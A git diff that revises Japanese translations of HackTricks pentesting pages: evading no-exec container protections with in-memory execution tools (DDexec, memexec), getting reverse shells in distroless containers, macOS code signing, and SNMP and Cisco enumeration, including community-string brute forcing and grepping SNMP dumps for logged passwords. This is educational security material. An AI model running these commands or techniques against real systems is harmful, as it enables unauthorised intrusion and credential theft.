-**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 +**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -167,7 +167,7 @@ GCPハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -10,14 +10,14 @@ GCPハッキングを学び、実践する:
+
-**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。 +**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -26,11 +26,11 @@ GCPハッキングを学び、実践する: apiVersion: v1 kind: Pod @@ -45,17 +45,17 @@ securityContext: command: ["sh", "-c", "while true; do sleep 1000; done"] -しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能であるため、ディスクに何も書き込めないというのは偽りです。ただし、このフォルダは**実行不可保護**でマウントされるため、ここにバイナリをダウンロードしても**実行することはできません**。 +しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能であるため、ディスクに何も書き込めないというのは偽りです。ただし、このフォルダは**no-exec保護**でマウントされるため、ここにバイナリをダウンロードしても**実行することはできません**。 {% hint style="warning" %} -レッドチームの観点から見ると、これは**システムに既に存在しないバイナリ(バックドアや`kubectl`のような列挙ツール)をダウンロードして実行することを複雑にします**。 +レッドチームの観点から見ると、これは**システムに既に存在しないバイナリをダウンロードして実行することを複雑にします**(バックドアや`kubectl`のような列挙ツールなど)。 {% endhint %} ## 最も簡単なバイパス: スクリプト -バイナリについて言及しましたが、**インタープリタがマシン内にある限り、任意のスクリプトを実行できます**。たとえば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。 +バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、**任意のスクリプトを実行できます**。例えば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。 -ただし、これはバイナリバックドアや他のバイナリツールを実行するには十分ではありません。 +しかし、これはあなたのバイナリバックドアや他のバイナリツールを実行するには十分ではありません。 ## メモリバイパス @@ -63,21 +63,21 @@ securityContext: ### FD + execシステムコールバイパス -マシン内に**Python**、**Perl**、または**Ruby**などの強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存できます。これはこれらの保護によって保護されないため、**`exec`システムコール**を呼び出して**実行するファイルとしてfdを指定**できます。 +マシン内に**Python**、**Perl**、または**Ruby**のような強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存できます。これはこれらの保護によって保護されないため、**`exec`システムコール**を呼び出して**実行するファイルとしてfdを指定**できます。 -これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされ**、`create_memfd`システムコールを呼び出して作成された**fd**で**デコードおよび解凍する**ための指示を含むスクリプトが生成されます。 +これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされ**、`create_memfd`システムコールを呼び出して作成された**fd**で**デコードおよび解凍する**ための指示を含むスクリプトが指定された言語で生成されます。 {% hint style="warning" %} これは、PHPやNodeのような他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシステムコールを呼び出す**デフォルトの方法がないため**、バイナリを保存するための**メモリfd**を作成するために`create_memfd`を呼び出すことができないからです。 -さらに、`/dev/shm`内のファイルで**通常のfd**を作成しても機能しません。なぜなら、**実行不可保護**が適用されるため、実行することが許可されないからです。 +さらに、`/dev/shm`にファイルを持つ**通常のfd**を作成しても機能しません。なぜなら、**no-exec保護**が適用されるため、実行することが許可されないからです。 {% endhint %} ### DDexec / EverythingExec -[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、プロセスの**`/proc/self/mem`**を上書きすることによって**自分のプロセスのメモリを変更する**ことを可能にする技術です。 +[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、プロセスの**`/proc/self/mem`**を上書きすることによって**自分のプロセスのメモリを変更する**技術です。 -したがって、**プロセスによって実行されているアセンブリコードを制御することで、**シェルコードを書き込み、プロセスを「変異」させて**任意のコードを実行する**ことができます。 +したがって、プロセスによって実行されているアセンブリコードを**制御することができ**、**シェルコード**を書き込み、プロセスを「変異」させて**任意のコードを実行する**ことができます。 {% hint style="success" %} **DDexec / EverythingExec**を使用すると、**メモリから**自分の**シェルコード**や**任意のバイナリ**を**ロードして実行**できます。 @@ -94,61 +94,61 @@ For more information about this technique check the Github or: ### MemExec -[**Memexec**](https://github.com/arget13/memexec)は、DDexecの自然な次のステップです。これは**DDexecシェルコードのデーモン化**であり、異なるバイナリを**実行したいとき**にDDexecを再起動する必要はなく、DDexec技術を介してmemexecシェルコードを実行し、**このデーモンと通信して新しいバイナリを読み込んで実行する**ことができます。 +[**Memexec**](https://github.com/arget13/memexec) は DDexec の自然な次のステップです。これは **DDexec シェルコードのデーモン化** であり、異なるバイナリを **実行したいとき** に DDexec を再起動する必要はなく、DDexec テクニックを介して memexec シェルコードを実行し、**このデーモンと通信して新しいバイナリを読み込んで実行する** ことができます。 -**memexecを使用してPHPリバースシェルからバイナリを実行する方法の例**は[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)で見つけることができます。 +**memexec を使用して PHP リバースシェルからバイナリを実行する方法の例** は [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) で見つけることができます。 ### Memdlopen -DDexecと同様の目的を持つ[**memdlopen**](https://github.com/arget13/memdlopen)技術は、**メモリにバイナリを読み込む**ための**簡単な方法**を提供します。依存関係を持つバイナリを読み込むことも可能です。 +DDexec と同様の目的を持つ [**memdlopen**](https://github.com/arget13/memdlopen) テクニックは、**メモリにバイナリを読み込む** より簡単な方法を提供します。依存関係を持つバイナリを読み込むことも可能です。 ## Distroless Bypass ### What is distroless -Distrolessコンテナは、特定のアプリケーションやサービスを実行するために必要な**最小限のコンポーネント**(ライブラリやランタイム依存関係など)だけを含み、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外します。 +Distroless コンテナは、特定のアプリケーションやサービスを実行するために必要な **最小限のコンポーネント** のみを含み、ライブラリやランタイム依存関係を含みますが、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外されます。 -Distrolessコンテナの目的は、**不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ**、悪用可能な脆弱性の数を最小限に抑えることです。 +Distroless コンテナの目的は、**不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ**、悪用可能な脆弱性の数を最小限に抑えることです。 ### Reverse Shell -Distrolessコンテナでは、**通常のシェルを取得するための`sh`や`bash`**さえ見つからないかもしれません。また、`ls`、`whoami`、`id`などのバイナリも見つかりません... システムで通常実行するすべてのものです。 +Distroless コンテナでは、**通常のシェルを取得するための `sh` や `bash`** が見つからないかもしれません。また、`ls`、`whoami`、`id` などのバイナリも見つかりません... システムで通常実行するすべてのものです。 {% hint style="warning" %} -したがって、**リバースシェル**を取得したり、通常のように**システムを列挙**したりすることは**できません**。 +したがって、**リバースシェル**を取得したり、通常のようにシステムを**列挙**したりすることはできません。 {% endhint %} -しかし、もし侵害されたコンテナが例えばflaskウェブを実行している場合、pythonがインストールされているため、**Pythonリバースシェル**を取得できます。nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどの**スクリプト言語**でも同様です。 +しかし、もし侵害されたコンテナが例えばフラスクウェブを実行している場合、Python がインストールされているため、**Python リバースシェル**を取得できます。ノードを実行している場合は、Node リバースシェルを取得でき、ほとんどの **スクリプト言語**でも同様です。 {% hint style="success" %} スクリプト言語を使用することで、言語の機能を利用して**システムを列挙**することができます。 {% endhint %} -もし**`read-only/no-exec`**保護がなければ、リバースシェルを悪用して**ファイルシステムにバイナリを書き込み**、**実行**することができます。 +もし **`read-only/no-exec`** 保護がなければ、リバースシェルを悪用して **ファイルシステムにバイナリを書き込み**、**実行**することができます。 {% hint style="success" %} -ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらを回避する**ことができます。 +ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行テクニックを使用してそれらを回避する**ことができます。 {% endhint %} -**RCE脆弱性を悪用してスクリプト言語の**リバースシェル**を取得し、メモリからバイナリを実行する方法の**例**は[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)で見つけることができます。 +**RCE 脆弱性を悪用してスクリプト言語のリバースシェルを取得し、メモリからバイナリを実行する方法の例** は [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) で見つけることができます。 -
+
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWS ハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP ハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。 +* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**Telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。 +* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してハッキングトリックを共有してください。
{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md index fe1511758..54adf2859 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-code-signing.md @@ -1,28 +1,28 @@ -# macOS Code Signing +# macOS コード署名 {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricksをサポートする -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
{% endhint %} ## 基本情報 -Mach-o バイナリには、バイナリ内の署名の **オフセット** と **サイズ** を示す **`LC_CODE_SIGNATURE`** というロードコマンドが含まれています。実際、GUIツールの MachOView を使用すると、バイナリの最後にこの情報を含む **Code Signature** というセクションを見つけることができます: +Mach-oバイナリには、バイナリ内の署名の**オフセット**と**サイズ**を示す**`LC_CODE_SIGNATURE`**というロードコマンドが含まれています。実際、GUIツールMachOViewを使用すると、バイナリの最後にこの情報を含む**コード署名**というセクションを見つけることができます: -
+
-Code Signature のマジックヘッダーは **`0xFADE0CC0`** です。次に、これらを含む superBlob の長さや blob の数などの情報があります。\ -この情報は、[こちらのソースコード](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) で見つけることができます: +コード署名のマジックヘッダーは**`0xFADE0CC0`**です。次に、これらを含むsuperBlobの長さやブロブの数などの情報があります。\ +この情報は[こちらのソースコード](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs_blobs.h#L276)で見つけることができます: ```c /* * Structure of an embedded-signature SuperBlob @@ -118,7 +118,7 @@ __attribute__ ((aligned(1))); ## コード署名ページ -完全なバイナリをハッシュ化することは非効率的であり、部分的にメモリにロードされている場合には無意味です。したがって、コード署名は実際にはハッシュのハッシュであり、各バイナリページが個別にハッシュ化されます。\ +フルバイナリのハッシュを計算することは非効率的であり、部分的にメモリにロードされている場合には無意味です。したがって、コード署名は実際にはハッシュのハッシュであり、各バイナリページが個別にハッシュ化されます。\ 実際、前の**コードディレクトリ**コードでは、**ページサイズが指定されている**のがわかります。さらに、バイナリのサイズがページのサイズの倍数でない場合、フィールド**CodeLimit**は署名の終わりがどこにあるかを指定します。 ```bash # Get all hashes of /bin/ps @@ -157,7 +157,7 @@ openssl sha256 /tmp/*.page.* ``` ## Entitlements Blob -アプリケーションにはすべての権限が定義された**権限ブロブ**が含まれている場合があります。さらに、一部のiOSバイナリは、特別なスロット-7に特定の権限を持っている場合があります(-5権限特別スロットの代わりに)。 +アプリケーションにはすべての権限が定義された**エンタイトルメントブロブ**が含まれている場合があります。さらに、一部のiOSバイナリは、特別なスロット-7に特定の権限を持っている場合があります(-5エンタイトルメント特別スロットの代わりに)。 ## Special Slots @@ -169,9 +169,9 @@ MacOSアプリケーションは、バイナリ内で実行するために必要 * 要件のハッシュ * リソースディレクトリのハッシュ(バンドル内の`_CodeSignature/CodeResources`ファイルのハッシュ)。 * アプリケーション固有(未使用) -* 権限のハッシュ +* エンタイトルメントのハッシュ * DMGコード署名のみ -* DER権限 +* DERエンタイトルメント ## Code Signing Flags @@ -224,9 +224,9 @@ Note that the function [**exec\_mach\_imgact**](https://github.com/apple-oss-dis ## コード署名要件 -各アプリケーションは、実行可能であるために満たさなければならない **要件** をいくつか **保持** しています。もし **アプリケーションに満たされていない要件が含まれている場合**、それは実行されません(おそらく変更されているためです)。 +各アプリケーションは、実行可能であるために満たさなければならない **要件** をいくつか **持っています**。もし **アプリケーションに満たされていない要件が含まれている場合**、それは実行されません(おそらく変更されているためです)。 -バイナリの要件は **特別な文法** を使用し、**式** のストリームであり、`0xfade0c00` をマジックとして使用してブロブとしてエンコードされ、その **ハッシュは特別なコードスロットに保存されます**。 +バイナリの要件は、**特別な文法** を使用し、**式** のストリームとして表現され、`0xfade0c00` をマジックとして使用してブロブとしてエンコードされます。その **ハッシュは特別なコードスロットに保存されます**。 バイナリの要件は、次のコマンドを実行することで確認できます: @@ -285,8 +285,8 @@ od -A x -t x1 /tmp/output.csreq #### **コード要件の変更** * **`SecCodeSignerCreate`**: コード署名操作を実行するための`SecCodeSignerRef`オブジェクトを作成します。 -* **`SecCodeSignerSetRequirement`**: 署名中に適用するための新しい要件をコード署名者に設定します。 -* **`SecCodeSignerAddSignature`**: 指定された署名者で署名されるコードに署名を追加します。 +* **`SecCodeSignerSetRequirement`**: 署名中に適用するための新しい要件をコードサイナーに設定します。 +* **`SecCodeSignerAddSignature`**: 指定されたサイナーで署名されるコードに署名を追加します。 #### **要件によるコードの検証** @@ -312,7 +312,7 @@ od -A x -t x1 /tmp/output.csreq ## `cs_blobs` & `cs_blob` -[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106)構造体は、実行中のプロセスの権限に関する情報を含んでいます。`csb_platform_binary`は、アプリケーションがプラットフォームバイナリであるかどうかも通知します(これは、これらのプロセスのタスクポートへのSEND権限を保護するためのセキュリティメカニズムを適用するために、OSによって異なるタイミングで確認されます)。 +[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106)構造体は、実行中のプロセスの権限に関する情報を含んでいます。`csb_platform_binary`は、アプリケーションがプラットフォームバイナリであるかどうかも通知します(これは、これらのプロセスのタスクポートへのSEND権を保護するためのセキュリティメカニズムを適用するために、OSによって異なるタイミングで確認されます)。 ```c struct cs_blob { struct cs_blob *csb_next; @@ -384,8 +384,8 @@ GCPハッキングを学び、実践する: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_). @@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ## 基本情報 -**SNMP - シンプルネットワーク管理プロトコル**は、ネットワーク内のさまざまなデバイス(ルーター、スイッチ、プリンター、IoTなど)を監視するために使用されるプロトコルです。 +**SNMP - シンプルネットワーク管理プロトコル** は、ネットワーク内のさまざまなデバイス(ルーター、スイッチ、プリンター、IoTなど)を監視するために使用されるプロトコルです。 ``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) @@ -34,8 +34,8 @@ SNMPは、**162/UDP**ポートを**トラップ**に使用します。これら ### MIB -SNMPアクセスが異なるメーカーや異なるクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベース(MIB)**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子(OID)`が含まれており、必要な**一意のアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\ -MIBファイルは、`抽象構文表記法1(ASN.1)`に基づくASCIIテキストフォーマットで記述されています。**MIBはデータを含まない**が、**どこでどの情報を見つけるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。 +SNMPアクセスが異なるメーカーやクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベース(MIB)**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子(OID)`が含まれており、必要な**一意のアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\ +MIBファイルは、`抽象構文記法1(ASN.1)`に基づくASCIIテキストフォーマットで記述されています。**MIBはデータを含まない**が、**どこでどの情報を見つけるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。 ### OIDs @@ -43,12 +43,12 @@ MIBファイルは、`抽象構文表記法1(ASN.1)`に基づくASCIIテキ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな標準設定機関に割り当てられています。これらの上位レベル内で、グローバルな管理慣行と標準の枠組みが確立されます。 -さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準間でのさまざまなオブジェクトを識別し管理するための構造化された方法を確保します。 +さらに、ベンダーはプライベートブランチを設立する自由が与えられています。これらのブランチ内では、**自社の製品ラインに関連する管理対象オブジェクトを含める自主性**があります。このシステムは、異なるベンダーや標準間でのさまざまなオブジェクトを識別し管理するための構造化された方法を確保します。 ![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>) ここから**OIDツリーをナビゲート**できます: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) または**OIDの意味を確認**できます(例えば`1.3.6.1.2.1.1`): [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ -**よく知られたOID**には、MIB-2で定義されたシンプルネットワーク管理プロトコル(SNMP)変数を参照する[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のものがあります。また、このOIDから保留中の**OID**を使用して、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。 +**よく知られたOID**には、MIB-2で定義されたシンプルネットワーク管理プロトコル(SNMP)変数を参照する[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のものがあります。そして、このOIDから保留中の**OID**を使用して、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。 ### **OIDの例** @@ -56,16 +56,16 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな **`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`** -このアドレスの内訳は以下の通りです。 +このアドレスの内訳は次のとおりです。 * 1 – これはISOと呼ばれ、これがOIDであることを示します。すべてのOIDが「1」で始まる理由です。 * 3 – これはORGと呼ばれ、デバイスを製造した組織を指定するために使用されます。 * 6 – これはdodまたは国防総省で、最初にインターネットを確立した組織です。 * 1 – これはインターネットの値で、すべての通信がインターネットを通じて行われることを示します。 -* 4 – この値は、このデバイスが政府機関ではなく民間組織によって製造されたことを示します。 +* 4 – この値は、このデバイスが政府ではなく民間組織によって製造されたことを示します。 * 1 – この値は、デバイスが企業またはビジネスエンティティによって製造されたことを示します。 -これらの最初の6つの値はすべてのデバイスで同じ傾向があり、基本的な情報を提供します。この数列は、デバイスが政府によって製造されていない限り、すべてのOIDで同じになります。 +これらの最初の6つの値はすべてのデバイスで同じ傾向があり、基本的な情報を提供します。この数のシーケンスは、デバイスが政府によって製造されていない限り、すべてのOIDで同じになります。 次の数のセットに進みます。 @@ -93,7 +93,7 @@ SNMPには2つの重要なバージョンがあります: ### コミュニティ文字列 前述のように、**MIBに保存された情報にアクセスするには、バージョン1および2/2cではコミュニティ文字列を知っている必要があり、バージョン3では資格情報が必要です。**\ -**コミュニティ文字列には2種類あります**: +**2種類のコミュニティ文字列**があります: * **`public`** 主に**読み取り専用**機能 * **`private`** **読み書き**一般 @@ -124,7 +124,7 @@ download-mibs # Finally comment the line saying "mibs :" in /etc/snmp/snmp.conf sudo vi /etc/snmp/snmp.conf ``` -有効なコミュニティストリングを知っていれば、**SNMPWalk**または**SNMP-Check**を使用してデータにアクセスできます: +有効なコミュニティ文字列がわかっていれば、**SNMPWalk**または**SNMP-Check**を使用してデータにアクセスできます: ```bash snmpbulkwalk -c [COMM_STRING] -v [VERSION] [IP] . #Don't forget the final dot snmpbulkwalk -c public -v2c 10.10.11.136 . @@ -140,7 +140,7 @@ nmap --script "snmp* and not snmp-brute" braa @:.1.3.6.* #Bruteforce specific OID ``` -extended queries (download-mibs)のおかげで、次のコマンドを使用してシステムについてさらに多くの情報を列挙することが可能です: +extended queries(download-mibs)のおかげで、次のコマンドを使用してシステムについてさらに多くの情報を列挙することが可能です: ```bash snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull ``` @@ -203,7 +203,7 @@ braa ignite123@192.168.1.125:.1.3.6.* ``` これは手動で処理できない多くのMBの情報を抽出できます。 -では、最も興味深い情報を見てみましょう([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)から): +では、最も興味深い情報を見てみましょう([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): ### **デバイス** @@ -219,7 +219,7 @@ grep -i "trap" *.snmp ``` ### **ユーザー名/パスワード** -MIBテーブルに保存されたログは、**ログオン試行の失敗**を調査され、ユーザー名として入力されたパスワードが偶然含まれている可能性があります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます: +MIBテーブルに保存されたログは、**ログオン試行の失敗**を調べるために検査され、これにはユーザー名として入力されたパスワードが偶然含まれることがあります。_fail_、_failed_、または _login_ などのキーワードが、貴重なデータを見つけるために検索されます: ```bash grep -i "login\|fail" *.snmp ``` @@ -243,7 +243,7 @@ ACLが特定のIPのみがSNMPサービスをクエリできるように制限 * snmpd.conf * snmp-config.xml -
+
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 @@ -294,8 +294,8 @@ GCPハッキングを学び、実践する: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_). @@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ## Pentesting Cisco Networks -**SNMP** は、一般的なメッセージ用のポート 161/UDP とトラップメッセージ用のポート 162/UDP で UDP 上で機能します。このプロトコルはコミュニティ文字列に依存しており、SNMP エージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列はアクセスレベルを決定するため、特に **読み取り専用 (RO) または読み書き (RW) 権限** を決定する上で重要です。ペンテスターにとって注目すべき攻撃ベクトルは、ネットワークデバイスに侵入することを目的とした **コミュニティ文字列のブルートフォース攻撃** です。 +**SNMP** は、一般的なメッセージ用のポート 161/UDP とトラップメッセージ用のポート 162/UDP で UDP 上で機能します。このプロトコルはコミュニティ文字列に依存しており、SNMP エージェントとサーバー間の通信を可能にするパスワードとして機能します。これらの文字列はアクセスレベルを決定するため、特に **読み取り専用 (RO) または読み書き (RW) 権限** を決定するために重要です。ペンテスターにとって注目すべき攻撃ベクトルは、ネットワークデバイスに侵入することを目的とした **コミュニティ文字列のブルートフォース攻撃** です。 -そのようなブルートフォース攻撃を実行するための実用的なツールは [**onesixtyone**](https://github.com/trailofbits/onesixtyone) であり、潜在的なコミュニティ文字列のリストとターゲットの IP アドレスが必要です。 +そのようなブルートフォース攻撃を実行するための実用的なツールは [**onesixtyone**](https://github.com/trailofbits/onesixtyone) であり、潜在的なコミュニティ文字列のリストとターゲットの IP アドレスが必要です: ```bash onesixtyone -c communitystrings -i targets ``` @@ -38,7 +38,7 @@ Metasploitフレームワークには、デバイスの設定を抽出するた * ターゲットデバイスのIP (**RHOSTS**) * 設定ファイルの保存先パス (**OUTPUTDIR**) -設定が完了すると、このモジュールはデバイスの設定を指定したフォルダに直接ダウンロードすることができます。 +設定が完了すると、このモジュールはデバイスの設定を指定したフォルダーに直接ダウンロードすることができます。 #### `snmp_enum` @@ -48,13 +48,13 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > set COMMUNITY public msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10 msf6 auxiliary(scanner/snmp/snmp_enum) > exploit ``` -## References +## 参考文献 * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -
+
-もしあなたが**ハッキングキャリア**に興味があり、アンハッカブルなものをハックしたいなら - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。 +**ハッキングキャリア**に興味があり、アンハッカブルをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。 {% embed url="https://www.stmcyber.com/careers" %} @@ -66,7 +66,7 @@ GCPハッキングを学び、実践する: {% endhint %} -
+
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_). @@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h ## 基本情報 -**Virtual Network Computing (VNC)** は、**Remote Frame Buffer (RFB)** プロトコルを利用して、別のコンピュータとのリモートコントロールとコラボレーションを可能にする堅牢なグラフィカルデスクトップ共有システムです。VNCを使用すると、ユーザーはキーボードとマウスのイベントを双方向に送信することで、リモートコンピュータとシームレスに対話できます。これにより、リアルタイムでのアクセスが可能になり、ネットワークを介した効率的なリモート支援やコラボレーションが促進されます。 +**Virtual Network Computing (VNC)** は、**Remote Frame Buffer (RFB)** 